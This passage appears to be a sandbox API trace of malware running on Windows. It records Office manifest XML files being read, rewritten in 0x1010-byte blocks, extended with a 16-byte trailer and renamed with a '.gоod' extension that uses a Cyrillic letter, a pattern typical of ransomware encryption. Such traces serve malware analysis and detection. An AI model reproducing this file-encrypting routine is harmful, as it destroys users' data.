returned 0x57 [0170.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.224] GetFileType (hFile=0x580) returned 0x1 [0170.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.224] GetFileType (hFile=0x580) returned 0x1 [0170.224] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x5b94 [0170.225] WriteFile (in: hFile=0x580, lpBuffer=0x38b59e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x38b59e8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0170.225] CloseHandle (hObject=0x580) returned 1 [0170.226] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0170.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.226] GetFileType (hFile=0x580) returned 0x1 [0170.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.226] GetFileType (hFile=0x580) returned 0x1 [0170.226] ReadFile (in: hFile=0x580, lpBuffer=0x38b7ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x38b7ea0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0170.370] CloseHandle (hObject=0x580) returned 1 [0170.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0170.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.370] GetFileType (hFile=0x580) returned 0x1 [0170.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.370] GetFileType (hFile=0x580) returned 0x1 [0170.370] WriteFile (in: hFile=0x580, lpBuffer=0x330b0c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x330b0c0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0170.371] CloseHandle (hObject=0x580) returned 1 [0170.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0170.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5c [0170.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0170.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x61c3a8c4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba4)) returned 1 [0170.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0170.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml.gоod")) returned 1 [0170.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5b [0170.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0170.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33a68c0 | out: lpFileInformation=0x33a68c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a)) returned 1 [0170.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0170.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5b [0170.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.373] GetFileType (hFile=0x580) returned 0x1 [0170.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.373] GetFileType (hFile=0x580) returned 0x1 [0170.373] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0170.373] ReadFile (in: hFile=0x580, lpBuffer=0x33a6d98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x33a6d98*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.375] CloseHandle (hObject=0x580) returned 1 [0170.375] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5b [0170.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.375] GetFileType (hFile=0x580) returned 0x1 [0170.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.375] GetFileType (hFile=0x580) returned 0x1 [0170.375] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x6b4a [0170.375] WriteFile (in: hFile=0x580, lpBuffer=0x33a9628*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x33a9628*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0170.376] CloseHandle (hObject=0x580) returned 1 [0170.376] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5b [0170.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.377] GetFileType (hFile=0x580) returned 0x1 [0170.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.377] GetFileType (hFile=0x580) returned 0x1 [0170.377] ReadFile (in: hFile=0x580, lpBuffer=0x33abf00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x33abf00*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0170.637] CloseHandle (hObject=0x580) returned 1 [0170.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5b [0170.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.637] GetFileType (hFile=0x580) returned 0x1 [0170.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.637] GetFileType (hFile=0x580) returned 0x1 [0170.637] WriteFile (in: hFile=0x580, lpBuffer=0x3315f60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3315f60*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0170.637] CloseHandle (hObject=0x580) returned 1 [0170.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5b [0170.638] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x60 [0170.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0170.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x61ec2f07, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5a)) returned 1 [0170.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0170.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml.gоod")) returned 1 [0170.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5b [0170.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0170.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x34ce5b8 | out: lpFileInformation=0x34ce5b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4)) returned 1 [0170.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0170.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5b [0170.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.639] GetFileType (hFile=0x580) returned 0x1 [0170.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.639] GetFileType (hFile=0x580) returned 0x1 [0170.639] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0170.640] ReadFile (in: hFile=0x580, lpBuffer=0x34cea90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x34cea90*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.641] CloseHandle (hObject=0x580) returned 1 [0170.641] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5b [0170.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.641] GetFileType (hFile=0x580) returned 0x1 [0170.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.641] GetFileType (hFile=0x580) returned 0x1 [0170.641] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x4f3f4 [0170.641] WriteFile (in: hFile=0x580, lpBuffer=0x34cfd88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34cfd88*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0170.643] CloseHandle (hObject=0x580) returned 1 [0170.643] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5b [0170.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.643] GetFileType (hFile=0x580) returned 0x1 [0170.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.643] GetFileType (hFile=0x580) returned 0x1 [0170.643] ReadFile (in: hFile=0x580, lpBuffer=0x34d20a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34d20a8*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0171.282] CloseHandle (hObject=0x580) returned 1 [0171.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5b [0171.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0171.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.282] GetFileType (hFile=0x580) returned 0x1 [0171.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0171.282] GetFileType (hFile=0x580) returned 0x1 [0171.282] WriteFile (in: hFile=0x580, lpBuffer=0x333ea18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x333ea18*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0171.282] CloseHandle (hObject=0x580) returned 1 [0171.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", lpFilePart=0x0) returned 0x5b [0171.282] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x60 [0171.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0171.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x624df042, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f404)) returned 1 [0171.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0171.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml.gоod")) returned 1 [0171.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0171.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0171.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x33f8120 | out: lpFileInformation=0x33f8120*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870)) returned 1 [0171.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0171.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0171.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0171.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0171.287] GetFileType (hFile=0x580) returned 0x1 [0171.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0171.288] GetFileType (hFile=0x580) returned 0x1 [0171.288] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0171.288] ReadFile (in: hFile=0x580, lpBuffer=0x33f85e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x33f85e8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0171.289] CloseHandle (hObject=0x580) returned 1 [0171.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", lpFilePart=0x0) returned 